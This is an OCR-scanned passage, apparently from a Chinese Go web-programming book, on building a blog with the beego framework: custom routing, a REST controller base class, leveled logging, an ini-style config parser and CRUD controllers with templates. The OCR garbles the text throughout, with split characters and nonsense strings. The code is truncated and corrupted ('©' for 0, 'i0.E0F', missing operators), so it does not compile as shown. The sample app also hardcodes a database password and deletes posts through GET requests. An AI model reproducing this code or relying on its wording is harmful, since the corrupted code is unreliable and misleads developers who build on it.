包括 路 由 功能 、 支 持 REST 的 控制 器 、 自 动 化 的 模板 泻 染 ， 日 志和 系统、 配置 管理 
等 。 


总 结 

本 小 节 介 绍 了 博客 系统 从 设置 GOPATH 到 目录 建立 这 样 的 基础 信息 ， 也 简单 介绍 了 
框架 结构 采用 的 MVC 模 式 ， 博 客 系统 中 数据 流 的 执行 流程 ， 最 后 通过 这 些 流 程 设计 
了 博客 系统 的 目录 结构 ， 至 此 ， 我 们 基本 完成 一 个 框架 的 搭建 ， 接 下 来 的 几 个 小 节 
我 们 将 会 逐个 实现 。 


章 : 构建 博客 系统 
节 : 自 定义 路 由 器 设计 


13.2 目 定 义 路 由 器 设计 


HTTP 路 由 


HTTP 路 由 组 件 负 责 将 HTTP 请 求 交 到 对 应 的 函数 处 理 (或 者 是 一 个 struct 的 方法 )， 如 
A 路 由 在 框架 中 相当 于 一 个 事件 义理 器 ， 而 这 个 事件 包 
舌 : 


e。 用 户 请 求 的 路 径 (path)( 例 如 :/user/123,/article/123)， 当 然 还 有 查询 串 信息 ( 例 
如 ?id=11) 
。 HTTP 的 请 求 方法 (method)(GET、POST、PUT、DELETE、PATCH 等 ) 


路 由 器 就 是 根据 用 户 请 求 的 事件 信息 转发 到 相应 的 处 理 汞 数 (控制 层 )。 


默认 的 路 由 实现 


在 3.4 小 节 有 过 介绍 Go 的 http 包 的 详解 ， 里 面 介 绍 了 Go 的 http 包 如 何 设计 和 实现 路 
由 ， 这 里 继续 以 一 个 例子 来 说 明 : 


func fooHandler(w http.Responsewriter, r *http.Request) { 
fmt.Forintf(w, "Hello, %q", html.EscapeString(r.URL.Path) ) 


} 


http.HandleFunc("/foo", fooHandler ) 


http.HandleFunc("/bar", func(w http.Responsewriter, r *http.Request 
fmt.Forintf(w, "Hello, %q", html.EscapeString(r.URL.Path) ) 


}) 


log.Fatal(http.ListenAndServe(":8080", nil)) 





上 面 的 例子 调用 了 http 默 认 的 DefaultServeMux 来 添加 路 由 ， 需 要 提供 两 个 参数 ， 第 
一 个 参数 是 希望 用 户 访问 此 资源 的 URL 路 径 ( 保 存在 r.URL.Path)， 第 二 参数 是 即将 
要 执行 的 函数 ， 以 提供 用 户 访问 的 资源 。 路 由 的 思路 主要 集中 在 两 点 : 


。 添加 路 由 信息 
。 根据 用 户 请 求 转发 到 要 执行 的 图 数 


Go 默认 的 路 由 添加 是 通过 函数 http.Handle 和 http.HandleFunc 等 来 添加 ， 底 
层 都 是 调用 

了 DefaultServeMux.Handle(pattern string, handler Handler) ,这 个 函数 

会 把 路 由 信息 存储 在 一 个 map 信 息 中 map[string]muxEntry ， 这 就 解决 了 上 面 说 
的 第 一 点 。 


Go 监听 端口 ， 然 后 接收 到 tcp 连 接 会 扔 给 Handler 来 处 理 ， 上 面 的 例子 默认 nil 即 

为 http.DefaultServeMux ， 通 过 DefaultServeMux.ServeHTTP PRANK i IT IA 
度 ， 通 历 之 前 存储 的 map 路 由 信息 ， 和 用 户 访问 的 URL 进 行 匹 配 ， 以 查询 对 应 注册 
ATEN, RRS LAAN o 


for k, v := range mux.m { 
if !pathMatch(k, path) { 
continue 


} 
if h == nil || len(k) >n { 


n = len(k) 
h = v.h 
} 
} 
beego 框 染 路 由 实现 


目前 几乎 所 有 的 Web 应 用 路 由 实现 都 是 基于 http 默 认 的 路 由 器 ， 但 是 Go 自 带 的 路 由 
器 有 几 个 限制 : 


e 不 支持 参数 设 定 ， 例 如 /user/:uid 这 种 泛 类 型 匹配 

无 法 很 好 的 支持 REST 模 式 ， 无 法 限制 访问 的 方法 ， 例 如 上 面 的 例子 中 ， 用 户 

访问 /foo， 可 以 用 GET、POST、DELETE、HEAD 等 方式 访问 

e 一 般 网 站 的 路 由 规则 太 多 了 ， 编 写 繁 珊 。 我 前 面 自 己 开发 了 一 个 API 应 用 ， 路 
由 规则 有 三 十 几 条 ， 这 种 路 由 多 了 之 后 其 实 可 以 进一步 简化 ， 通 过 struct 的 方 
法 进行 一 种 简化 


beego 框 架 的 路 由 器 基于 上 面 的 几 点 限制 考虑 设计 了 一 种 REST 方 式 的 路 由 实现 ， 
路 由 设计 也 是 基于 上 面 Go 默认 设计 的 两 点 来 考虑 : 存储 路 由 和 转发 路 由 


存储 路 由 
针对 前 面 所 说 的 限制 点 ， 我 们 首先 要 解决 参数 支持 就 需要 用 到 正则 ， 第 二 和 第 三 点 


我 们 通过 一 种 变通 的 方法 来 解决 ，REST 的 方法 对 应 到 struct 的 方法 中 去 ， 然 后 路 由 
到 struct 而 不 是 函数 ， 这 样 在 转发 路 由 的 时 候 就 可 以 根据 method 来 执行 不 同 的 方 
法 。 

根据 上 面 的 思路 ， 我 们 设计 了 两 个 数据 类 型 controllerlnfo( 保 存 路 径 和 对 应 的 


struct， 这 里 是 一 个 reflect.Type 类 型 ) 和 ControllerRegistor(routers 是 一 个 slice 用 来 
保存 用 户 添 加 的 路 由 信息 ， 以 及 beego 框 架 的 应 用 信息 ) 


type controllerInfo struct { 


regex *regexp.Regexp 
params map[int]string 
controllerType reflect.Type 

} 

type ControllerRegistor struct { 
routers []*controllerInfo 
Application *App 

} 


ControllerRegistor xt #AH##2 O BAA 


func (p *ControllerRegistor) Add(pattern string, c ControllerIntert 





详细 的 实现 如 下 所 示 : 


func (p *ControllerRegistor) Add(pattern string, c ControllerIntert 
parts := strings.Split(pattern, "/") 


j := 0 
params := make(map[int]string) 
for i, part := range parts { 
if strings.HasPrefix(part, ":") { 
expr := "([^/]+)" 


//a user may choose to override the defult expression 
// similar to expressjs: ‘/user/:id([0-9]+)’ 


if index := strings.Index(part, "("); index != -1 { 
expr part[index: ] 
part part[:index] 


} 

params[j] = part 
parts[i] = expr 
j++ 


} 


//recreate the url pattern, with parameters replaced 
//by regular expressions. then compile the regex 


pattern = strings.Join(parts, "/") 
regex, regexErr := regexp.Compile(pattern) 
if regexErr != nil { 


//TODO add error handling here to avoid panic 
panic(regexErr ) 
return 


} 


//now create the Route 

t := reflect.Indirect(reflect.ValueOf(c)).Type() 
route := &controllerInfo{} 

route.regex = regex 

route.params = params 

route.controllerType = t 


p.routers = append(p.routers, route) 





静态 路 由 实现 


上 面 我 们 实现 的 动态 路 由 的 实现 ，Go 的 http 包 默认 支持 静态 文件 处 理 FileServer， 
由 于 我 们 实现 了 自 定义 的 路 由 器 ， 那 么 静态 文件 也 需要 自己 设 定 ，beego 的 静态 文 
件 夹 路 径 保 存在 全 局 变量 StaticDir 中 ，StaticDir 是 一 个 map 类 型 ， 实 现 如 下 : 


func (app *App) SetStaticPath(url string, path string) *App { 
StaticDir[url] = path 
return app 


应 用 中 设置 静态 路 径 可 以 使 用 如 下 方式 实现 : 


beego.SetStaticPath("/img","/static/img" ) 


转发 路 由 


转发 路 由 是 基于 ControllerRegistor 里 的 路 由 信息 来 进行 转发 的 ， 详 细 的 实现 如 下 代 
码 所 示 : 


// AutoRoute 
func (p *ControllerRegistor) ServeHTTP(w http.Responsewriter, r *hi 
defer func() { 
if err := recover(); err != nil { 
if !RecoverPanic { 
// go back to panic 
panic(err) 
} else { 
Critical("Handler crashed with error", err) 
ON 


_, file, line, ok := runtime.Caller(i) 
if !ok { 
break 


Critical(file, line) 


} 
}() 
var started bool 
for prefix, staticDir := range StaticDir { 
if strings.HasPrefix(r.URL.Path, prefix) { 
file := staticDir + r.URL.Path[len(prefix): ] 
http.ServeFile(w, r, file) 
started = true 
return 


} 


requestPath := r.URL.Path 


//find a matching Route 


for 


_, route := range p.routers { 


//check if Route pattern matches url 

if !route.regex.MatchString(requestPath) { 
continue 

} 


//get Submatches (params) 
matches := route.regex.FindStringSubmatch(requestPath) 


//double check that the Route matches the URL pattern. 
if len(matches[0]) != len(requestPath) { 

continue 
} 


params := make(map[string]string) 
if len(route.params) > © { 
//add url parameters to the query param map 
values := r.URL.Query() 
for i, match := range matches[1:] { 
values.Add(route.params[i], match) 
params[route.params[i]] = match 


} 


//reassemble query params and add to RawQuery 
r.URL.RawQuery = url.Values(values).Encode() + "&" + r 
//r .URL.RawQuery = url.Values(values) .Encode() 


} 

//Invoke the request handler 

vc := reflect.New(route.controllerType) 

init := vc.MethodByName("Init") 

in := make([]reflect.Value, 2) 

ct := &Context{Responsewriter: w, Request: r, Params: parar 
in[0] = reflect.ValueOf(ct) 

in[1] = reflect.ValueOf(route.controllerType.Name() ) 


init.Call(in) 

in = make([]reflect.Value, 0) 

method := vc.MethodByName("Prepare" ) 

method.Call(in) 

if r.Method == "GET" { 
method = vc.MethodByName("Get" ) 
method.Call(in) 

} else if r.Method == "POST" { 
method = vc.MethodByName ("Post") 
method.Call(in) 

} else if r.Method == "HEAD" { 
method = vc.MethodByName("Head" ) 
method.Call(in) 

} else if r.Method == "DELETE" { 
method = vc.MethodByName("Delete" ) 
method.Call(in) 

} else if r.Method == "PUT" { 


method = vc.MethodByName ("Put") 
method.Call(in) 

} else if r.Method == "PATCH" { 
method = vc.MethodByName("Patch") 
method.Call(in) 

} else if r.Method == "OPTIONS" { 
method = vc.MethodByName("Options" ) 
method.Call(in) 

} 

if AutoRender { 
method = vc.MethodByName("Render") 
method.Call(in) 

} 

method = vc.MethodByName("Finish" ) 

method.Call(in) 

started = true 

break 


} 


//if no matches to url, throw a not found exception 
if started == false { 
http.NotFound(w, r) 





使 用 入 门 


基于 这 样 的 路 由 设计 之 后 就 可 以 解决 前 面 所 说 的 三 个 限制 点 ， 使 用 的 方式 如 下 所 


示 : 


基本 的 使 用 注册 路 由 : 


beego.BeeApp.RegisterController("/", &controllers.MainController{}. 
ED | 
参数 注册 : 


beego.BeeApp.RegisterController("/:param", &controllers.UserContro. 





正则 匹配 : 


beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controller: 
‘| 7 _& 








Go Web 编程 
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e 下 一 节 : controller 设 计 


自 定义 路 由 器 设计 
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13.3 controller 设 计 


传统 的 MVC 框 架 大 多 数 是 基于 Action 设 计 的 后 级 式 上 映射， 然而 ， 现 在 Web 流 行 
REST 风 格 的 架构 。 尽 管 使 用 Filter 或 者 rewrite 能 够 通过 URL 重 写实 现 REST 风 格 的 
URL， 但 是 为 什么 不 直接 设计 一 个 全 新 的 REST 风 格 的 MVC 框 架 呢 ? 本 小 节 就 是 基 
于 这 种 思路 来 讲述 如 何 从 头 设计 一 个 基于 REST 风 格 的 MVC 框 架 中 的 controller， 最 
大 限度 地 简化 Web 应 用 的 开发 ， 蔡 至 编写 一 行 代 码 就 可 以 实现 “Hello, world”. 


controller 作 用 


MVC 设 计 模 式 是 目前 Web 应 用 开发 中 最 常见 的 架构 模式 ， 通 过 分 离 Model ( 模 
型 ) 、View (视图 ) 和 Controller (控制 器 ) ， 可 以 更 容易 实现 易于 扩展 的 用 户 界 
面 (Ul)。Model 指 后 台 返 回 的 数据 ; View 指 需要 泻 染 的 页 面 ， 通 常 是 模板 页 面 ， 泻 
染 后 的 内 容 通常 是 HTML ; Controller 指 Web 开 发 人 员 编 写 的 处 理 不 同 URL 的 控制 
器 ， 如 前 面 小 节 讲 述 的 路 由 就 是 URL 请 求 转发 到 控制 器 的 过 程 ，controller 在 整个 的 
MVC 框 架 中 起 到 了 一 个 核心 的 作用 ， 负 责 处 理 业 务 逻 辑 ， 因 此 控制 器 是 整个 框架 中 
必 不 可 少 的 一 部 分 ，Model 和 View 对 于 有 些 业务 需求 是 可 以 不 写 的 ， 例 如 没有 数据 
处 理 的 逻辑 处 理 ， 没 有 页 面 输出 的 302 调 整 之 类 的 就 不 需要 Model 和 View， 但 是 
controller 这 一 环节 是 必 不 可 少 的 。 


beego 的 REST 设 计 


前 面 小 节 介 绍 了 路 由 实现 了 注册 struct 的 功能 ， 而 struct 中 实现 了 REST 方 式 ， 因 此 
我 们 需要 设计 一 个 用 于 逻辑 处 理 controller 的 基 类 ， 这 里 主要 设计 了 两 个 类 型 ， 一 个 
struct、 一 个 interface 


type Controller struct { 


} 


Ct *Context 

Tpl *template. Template 

Data map[interface{}]interface{} 
ChildName string 


TplNames string 
Layout []string 
TplExt string 


type ControllerInterface interface { 
Init(ct *Context, cn string) // 初 始 化 上 下 文 和 子 类 名 称 


Prepare() // 开 始 执行 之 前 的 一 些 处 理 

Get ( ) //method=GET 的 处 理 

Post() //method=POSTAY % 1E 

Delete() //method=DELETE 的 处 理 

Put() //method=PUTHY % 1E 

Head ( ) //method=HEAD 的 处 理 

Patch() //method=PATCHEY x FẸ 

Options() //method=OPTIONSEY 38 

Finish() // 执 行 完成 之 后 的 处 理 

Render() error // 执 行 完 method 对 应 的 方法 之 后 泻 染 页 6 





那么 前 面 介 绍 的 路 由 add 责 数 的 时 候 是 定义 了 Controllerinterface 类 型 ， 因 此 ， 只 要 
我 们 实现 这 个 接口 就 可 以 ， 所 以 我 们 的 基 类 Controller 实 现 如 下 的 方法 : 


func (c *Controller) Init(ct *Context, cn string) { 


} 


O00 00 


.Data = make(map[interface{}]interface{}) 
.Layout = make([]string, 0) 

.TplNames = "" 

.ChildName = cn 

Cie = GE 

.TplExt = "tpl" 


func (c *Controller) Prepare() { 


} 


func (c *Controller) Finish() { 


} 


func (c *Controller) Get() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 405) 


} 


func (c *Controller) Post() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 405) 


} 


func (c *Controller) Delete() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 
} 


func (c *Controller) Put() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 
} 


func (c *Controller) Head() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 
} 


func (c *Controller) Patch() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 
} 


func (c *Controller) Options() { 
http.Error(c.Ct.Responsewriter, "Method Not Allowed", 
} 


func (c *Controller) Render() error { 
if len(c.Layout) > © { 
var filenames []string 
for _, file := range c.Layout { 


} 


t, err := template.ParseFiles(filenames...) 
if err != nil { 

Trace("template ParseFiles err:", err) 
} 


filenames = append(filenames, path.Join(ViewsPath, file 


err = t.ExecuteTemplate(c.Ct.ResponsewWriter, c.TplNames, c 


if err != nil { 
Trace("template Execute err:", err) 


} 
} else { 
if c.TplNames == "" { 


} 


c.TplNames = c.ChildName + "/" + c.Ct.Request. 


t, err := template.ParseFiles(path.Join(ViewsPath, 


if err != nil { 
Trace("template ParseFiles err:", err) 
} 


err = t.Execute(c.Ct.ResponseWriter, c.Data) 
if err != nil { 

Trace("template Execute err:", err) 
} 


} 


return nil 


} 


func (c *Controller) Redirect(url string, code int) { 


405) 


405) 


405) 


405) 


405) 


Method + 


c.TpLlNar 


c.Ct.Redirect(code, url) 








上 面 的 controller 基 类 已 经 实现 了 接口 定义 的 函数 ， 通 过 路 由 根据 url 执 行 相应 的 
controller 的 原则 ， 会 依次 执行 如 下 : 


Init() 初始 化 

Prepare() ， 执行 之 前 的 初始 化 ， 每 个 继承 的 子 类 可 以 来 实现 该 画 数 

method() 根据 不 同 的 nethod 执 行 不 同 的 函数 : GET, POST, PUT, HEADS, F435 
Render() 可 选 ， 根 据 全 局 变量 AutoRender 来 判断 是 否 执行 

Finish() 执行 完 之 后 执行 的 操作 ， 每 个 继承 的 子 类 可 以 来 实现 该 画 数 


一 一 一 
应 用 指南 


上 面 beego 框 架 中 完成 了 controller 基 类 的 设计 ， 那 么 我 们 在 我 们 的 应 用 中 可 以 这 样 
来 设计 我 们 的 方法 : 





package controllers 
import ( 


"github.com/astaxie/beego" 
) 


type MainController struct { 
beego.Controller 


} 

func (this *MainController) Get() { 
this.Data["Username"] = "astaxie" 
this.Data["Email"] = "astaxie@gmail.com" 
this.TplNames = "index.tpl" 

} 


上 面 的 方式 我 们 实现 了 子 类 MainController， 实 现 了 Get 方 法 ， 那 么 如 果 用 户 通过 其 
他 的 方式 (POSTIHEAD 等 ) 来 访问 该 资源 都 将 返回 403， 而 如 果 是 Get 来 访问 ， 因 为 
我 们 设置 了 AutoRender=true， 那 么 在 执行 完 Get 方 法 之 后 会 自动 执行 Render 画 
数 ， 就 会 显示 如 下 界面 : 


index.tpl 的 代码 如 下 所 示 ， 我 们 可 以 看 到 数据 的 设置 和 显示 都 是 相当 的 简单 方便 : 


<!DOCTYPE html> 


<html> 


<head> 
<title>beego welcome template</title> 


</head> 
<body> 
<h1>Hello, world! {{.Username}}, {{.Email}}</h1> 


</body> 
</html> 


e H 
eo 上 一 章 : 自 定义 路 由 器 设计 
e 下 一 节 : 日 志和 配置 设计 


13.4 日 志和 配置 设计 
日 志和 配置 的 重要 性 


前 面 已 经 介绍 过 日 志 在 我 们 程序 开发 中 起 着 很 重要 的 作用 ， 通过 日 志 我 们 可 以 记录 
调试 我 们 的 信息 ， 当 初 介绍 过 一 个 日 志 系 统 seelog， 根 据 不 同 的 level 输 出 不 同 的 日 
志 ， en 部 署 来 说 至 关 重 要 。 我 们 可 以 在 程序 开发 中 设置 level 
低 一 点 ， 部 署 的 时 候 把 level 设 置 高 ， 这 样 我 们 开发 中 的 调试 信息 可 以 屏 般 掉 。 


配置 模块 对 于 应 用 部 署 牵 涉 到 服务 器 不 同 的 一 些 配置 信息 非常 有 用 ， 例 如 一 些 数据 
库 配 置信 息 、 监 听 端 口 、 监 听 地 址 等 都 是 可 以 通过 配置 文件 来 配置 ， 这 样 我 们 的 应 
用 程序 就 具有 很 强 的 灵活 性 ， 可 以 通过 配置 文件 的 配置 部 署 在 不 同 的 机 器 上 ， 可 以 
连接 不 同 的 数据 库 之 类 的 。 


beego 的 日 志 设 计 


beego 的 日 志 设 计 部 署 思路 来 自 于 seelog， 根 据 不 同 的 level 来 记录 日 志 ， 但 是 
beego 设 计 的 日 志 系 统 比较 轻 量 级 ， 采 用 了 系统 的 log.Logger 接 口 ， 默 认输 出 到 
os.Stdout, 用 户 可 以 实现 这 个 接口 然后 通过 beego.SetLogger 设 置 自 定义 的 输出 ， 详 
细 的 实现 如 下 所 示 : 


// Log levels to control the logging output. 
const ( 

LevelTrace = iota 

LevelDebug 

LevelInfo 

LevelWarning 

LevelError 

LevelCritical 


) 


// logLevel controls the global log level used by the logger. 
var level = LevelTrace 


// LogLevel returns the global log level and can be used in 
// own implementations of the logger interface. 
func Level() int { 
return level 
} 


// SetLogLevel sets the global log level used by the simple 
// logger. 
func SetLevel(1 int) { 
level = 1 
} 


上 面 这 一 段 实 现 了 日 志 系 统 的 日 志 分 级 ， 默 认 的 级 别 是 Trace， 用 户 通过 SetLevel 
可 以 设置 不 同 的 分 级 。 


// logger references the used application logger. 
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) 


// SetLogger sets a new logger. 

func SetLogger(1l *log.Logger) { 
BeeLogger = 1 

} 


// Trace logs a message at trace level. 
func Trace(v ...interface{}) { 
if level <= LevelTrace { 
BeeLogger.Printf("[T] %v\n", v) 
} 


} 


// Debug logs a message at debug level. 
func Debug(v ...interface{}) { 
if level <= LevelDebug { 
BeeLogger.Printf("[D] %v\n", v) 
} 


} 


// Info logs a message at info level. 
func Info(v ...interface{}) { 
if level <= LeveliInfo { 
BeeLogger.Printf("[I] %v\n", v) 
} 


} 


// Warning logs a message at warning level. 
func Warn(v ...interface{}) { 
if level <= LevelWarning { 
BeeLogger.Printf("[W] %v\n", v) 
} 


} 


// Error logs a message at error level. 
func Error(v ...interface{}) { 
if level <= LevelError { 
BeeLogger.Printf("[E] %v\n", v) 
} 


} 


// Critical logs a message at critical level. 
func Critical(v ...interface{}) { 
if level <= LevelCritical { 
BeeLogger.Printf("[C] %v\n", v) 
} 


上 面 这 一 段 代码 默认 初始 化 了 一 个 BeeLogger 对 象 ， 默 认输 出 到 os.Stdout， 用 户 可 
以 通过 beego.SetLogger 来 设置 实现 了 logger 的 接口 输出 。 这 里 面 实现 了 六 个 画 
数 : 


e Trace (一般 的 记录 信息 ， 举 例如 下 : ) 
o "Entered parse function validation block" 
o "Validation: entered second 'if" 
o "Dictionary 'Dict' is empty. Using default value" 
e Debug (调试 信息 ， 举 例如 下 : ) 
o "Web page requested: http://somesite.com Params="..."" 
o "Response generated. Response size: 10000. Sending." 
o "New file received. Type:PNG Size:20000" 
e Info (打印 信息 ， 举 例如 下 : ) 
o "Web server restarted" 
o "Hourly statistics: Requested pages: 12345 Errors: 123..." 
o "Service paused. Waiting for 'resume' call" 
e Wan (和 警告 信息 ， 举 例如 下 : ) 
o "Cache corrupted for file='test.file'. Reading from back-end" 
o "Database 192.168.0.7/DB not responding. Using backup 
192.168.0.8/DB" 
o "No response from statistics server. Statistics not sent" 
e Error (错误 信息 ， 举 例如 下 : ) 


o "Cannot perform login: credentials DB not responding" 
e Critical (致命 错误 ， 举 例如 下 : ) 
o "Critical panic received: .... Shutting down" 
o "Fatal error: ... App is shutting down to prevent data corruption or loss" 


可 以 看 到 每 个 函数 里 面 都 有 对 level 的 判断 ， 所 以 如 果 我 们 在 部 署 的 时 候 设 置 了 
level=LevelWarning， 那 么 Trace、Debug、Info 这 三 个 画 数 都 不 会 有 任何 的 输出 ， 
以 此 类 推 。 


beego 的 配置 设计 

配置 信息 的 解析 ，beego 实 现 了 一 个 key=value 的 配置 文件 读 取 ， 类 似 ini 配 置 文件 的 
格式 ， 就 是 一 个 文件 解析 的 过 程 ， 然 后 把 解析 的 数据 保存 到 map 中 ， 最 后 在 调用 的 
时 候 通 过 几 个 string、int 之 类 的 函数 调用 返回 相应 的 值 ， 具 体 的 实现 请 看 下 面 : 
首先 定义 了 一 些 ini 配 置 文件 的 一 些 全 局 性 常量 : 


var ( 
bComment = []byte{'#'} 
bEmpty = []byte{} 
bEqual = []byte{'="} 
bDQuote = []byte{'"'} 


定义 了 配置 文件 的 格式 


// A Config represents the configuration. 
type Config struct { 


filename string 
comment map[int][]string // id: []{comment, key...}; id 1 is 


data map[string]string // key: value 
offset map[string]int64 // key: offset; for editing. 


sync .RWMutex 


_ I 





定义 了 解析 文件 的 范 数 ， 解 析 文 件 的 过 程 是 打开 文件 ， 然 后 一 行 一 行 的 读 取 ， 解 析 


注释 、 空 行 和 key=value 数 据 : 


// ParseFile creates a new Config and parses the file configuratior 


// named file. 


func LoadConfig(name string) (*Config, error) { 





file, err := os.Open(name) 
if err != nil { 
return nil, err 


} 


cfg := &Config{ 
file.Name(), 
make(map[int][]string), 
make(map[string]string), 
make(map[string]int64), 
sync.RwWMutex{}, 


} 

cfg.Lock() 

defer cfg.Unlock() 
defer file.Close() 


var comment bytes.Buffer 
buf := bufio.NewReader(file) 


for nComment, off := ©, int64(1); ; { 


line, _, err := buf.ReadLine() 
if err == i0.E0F { 
break 
} 
if bytes.Equal(line, bEmpty) { 
continue 
} 


off += int64(len(line) ) 


if bytes.HasPrefix(line, bComment) { 
line bytes.TrimLeft(line, "#") 
line 


bytes.TrimLeftFunc(line, unicode.IsSpace) 


comment .Write(line) 
comment .WriteByte('\n') 


continue 
} 
if comment.Len() != 0 { 
cfg.comment[nComment] = []string{comment.String()} 
comment .Reset() 
nComment++ 
} 


val := bytes.SplitN(line, bEqual, 2) 
if bytes.HasPrefix(val[1], bDQuote) { 

val[1] = bytes.Trim(val[1], `"`) 
} 


key := strings.TrimSpace(string(val[0])) 
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], | 
cfg.data[key] = strings.TrimSpace(string(val[1])) 
cfg.offset[key] = off 

} 


return cfg, nil 


[E — 
下 面 实现 了 一 些 读 取 配 置 文件 的 函数 ， 返 回 的 值 确定 为 bool、int、float64 或 string : 





// Bool returns the boolean value for a given key. 

func (c *Config) Bool(key string) (bool, error) { 
return strconv.ParseBool(c.data[key]) 

} 


// Int returns the integer value for a given key. 

func (c *Config) Int(key string) (int, error) { 
return strconv.Atoi(c.data[key]) 

} 


// Float returns the float value for a given key. 

func (c *Config) Float(key string) (float64, error) { 
return strconv.ParseFloat(c.data[key], 64) 

} 


// String returns the string value for a given key. 

func (c *Config) String(key string) string { 
return c.data[key ] 

} 


应 用 指南 


下 面 这 个 函数 是 我 一 个 应 用 中 的 例子 ， 用 来 获取 远程 url 地 址 的 json 数 据 ， 实 现 如 
F: 


func GetJson() { 
resp, err := http.Get(beego.AppConfig.String("url") ) 


if err != nil { 
beego.Critical("http get info error") 
return 

} 


defer resp.Body.Close() 

body, err := ioutil.ReadAll(resp.Body ) 

err = json.Unmarshal(body, &AllInfo) 

if err != nil { 
beego.Critical("error:", err) 


} 


KHAAA TIERNA RRA beego.Critical KAAR, AA 
了 beego.AppConfig.String("url") 用 来 获取 配置 文件 中 的 信息 ， 配 置 文件 的 


信息 如 下 (app.conf) : 


appname = hs 
url ="http://ww.api.com/api.htm1" 


e H 
e 上 一 章 : controller 设 计 
。 下 一 节 : 实现 博客 的 增删 改 


13.5 实现 博客 的 增删 改 


前 面 介 绍 了 beego 框 架 实 现 的 整体 构思 以 及 部 分 实现 的 伪 代 码 ， 这 小 节 介 # 召 通过 
beego 建 立 一 个 博客 系统 ， 包括 博客 浏览 、 添 加 、 修 改 、 删 除 等 操作 。 


博客 目录 


博客 目录 如 下 所 示 : 


| 一 controllers 
| 一 delete.go 


L— model.go 
views 


| 一 edit.tpl 
index.tpl 


EE 
| 一 layout.tpl 
Es 
e 


博客 路 由 
博客 主要 的 路 由 规则 如 下 所 示 : 


// 显 示 博 客 首 页 

beego.Router("/", &controllers.IndexController {}) 

// 查 看 博客 详细 信息 

beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) 
// 新 建 博客 博文 

beego.Router("/new", &controllers.NewController{}) 

// 删 除 博文 


beego.Router("/delete/:id([0-9]+)", &controllers.DeleteControllert{ 
// 编 辑 博 文 
beego.Router("/edit/:id([0-9]+)", &controllers.EditController {}) 


a ae 


效 据 库 结 构 











数据 库 设 计 最 简单 的 博客 信息 


CREATE TABLE entries ( 
id INT AUTO_INCREMENT, 
title TEXT， 
content TEXT, 
created DATETIME, 
primary key (id) 

); 


E 
IndexController: 


type IndexController struct { 
beego.Controller 
} 


func (this *IndexController) Get() { 
this.Data["blogs"] = models.GetAll() 
this.Layout = "layout.tp1" 
this.TplNames = "index.tpl" 


ViewController: 


type ViewController struct { 
beego.Controller 


} 
func (this *ViewController) Get() { 
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) 
this.Data["Post"] = models.GetBlog(id) 
this.Layout = "layout.tp1" 
this.TplNames = "view.tp1" 
} 


NewController 


type NewController struct { 
beego.Controller 
} 


func (this *NewController) Get() { 
this.Layout = "layout.tp1" 
this.TplNames = "new.tpl" 

} 


func (this *NewController) Post() { 
inputs := this.Input() 
var blog models.Blog 
blog.Title = inputs.Get("title") 
blog.Content = inputs.Get("content") 
blog.Created = time.Now() 
models.SaveBlog(blog) 
this.Ctx.Redirect(302, "/") 


EditController 


type EditController struct { 
beego.Controller 


} 
func (this *EditController) Get() { 
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) 
this.Data["Post"] = models.GetBlog(id) 
this.Layout = "layout.tp1" 
this.TplNames = "edit.tp1" 
} 


func (this *EditController) Post() { 
inputs := this.Input() 
var blog models.Blog 
blog.Id, _ = strconv.Atoi(inputs.Get("id") ) 
blog.Title = inputs.Get("title") 
blog.Content = inputs.Get("content") 
blog.Created = time. Now() 
models.SaveBlog(blog) 
this.Ctx.Redirect(302, "/") 


DeleteController 


type DeleteController struct { 
beego.Controller 


} 
func (this *DeleteController) Get() { 
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) 
blog := models.GetBlog(id) 
this.Data["Post"] = blog 
models .De1Blog(blog) 
this.Ctx.Redirect(302, "/") 
} 


model 层 


package models 


import ( 
"database/sql" 
"github.com/astaxie/beedb" 
_ "github.com/ziutek/mymysql/godrv" 


"time" 
) 
type Blog struct { 
Id int `PK` 
Title string 
Content string 
Created time.Time 
} 


func GetLink() beedb.Model { 
db, err := sql.Open("mymysql", "blog/astaxie/123456" ) 
if err != nil { 
panic(err) 


orm := beedb.New(db) 
return orm 


} 


func GetAll() (blogs []Blog) { 
db := GetLink() 
db.FindAll(&blogs) 
return 


} 


func GetBlog(id int) (blog Blog) { 
db := GetLink() 
db.Where("id=?", id).Find(&blog) 
return 


} 


func SaveBlog(blog Blog) (bg Blog) { 
db := GetLink() 
db.Save(&blog) 
return bg 


} 


func DelBlog(blog Blog) { 
db := GetLink() 
db.Delete(&blog) 
return 


view = 


layout.tpl 


<html> 
<head> 
<title>My Blog</title> 
<style> 
#menu { 
width: 200px; 
float: right; 
} 
</style> 
</head> 
<body> 


<ul id="menu"> 

<li><a href="/">Home</a></1i> 

<li><a href="/new">New Post</a></1li> 
</ul> 


{{.LayoutContent}} 


</body> 
</html> 


index.tpl 


<hi>Blog posts</h1i> 


<ul> 
{{range .blogs}} 
<li> 
<a href="/view/{{.Id}}">{{.Title}}</a> 
from {{.Created}} 
<a href="/edit/{{.Id}}">Edit</a> 
<a href="/delete/{{.Id}}">Delete</a> 
</li> 
{{end}} 


</ul> 


view.tpl 


<h1>{{.Post.Title}}</h1> 
{{.Post.Created}}<br/> 


{{.Post.Content}} 


new.tpl 


<hi>New Blog Post</h1i> 

<form action="" method="post"> 

标题 :<input type="text" name="title"><br> 

AS: <textarea name="content" colspan="3" rowspan="10"></textarea> 
<input type="submit"> 

</form> 


‘ = 





edit.tpl 


<hi>Edit {{.Post.Title}}</h1> 


<hi>New Blog Post</h1i> 

<form action="" method="post"> 

标题 :<input type="text" name="title" value="{{.Post.Title}}"><br> 
AW :<textarea name="content" colspan="3" rowspan="10">{{.Post.Cont 
<input type="hidden" name="id" value="{{.Post.Id}}"> 

<input type="submit"> 

</form> 





links 
e 目录 
e 上 一 章 : 日 志和 配置 设计 
e 下 一 节 : 小 结 


13.6 小 结 


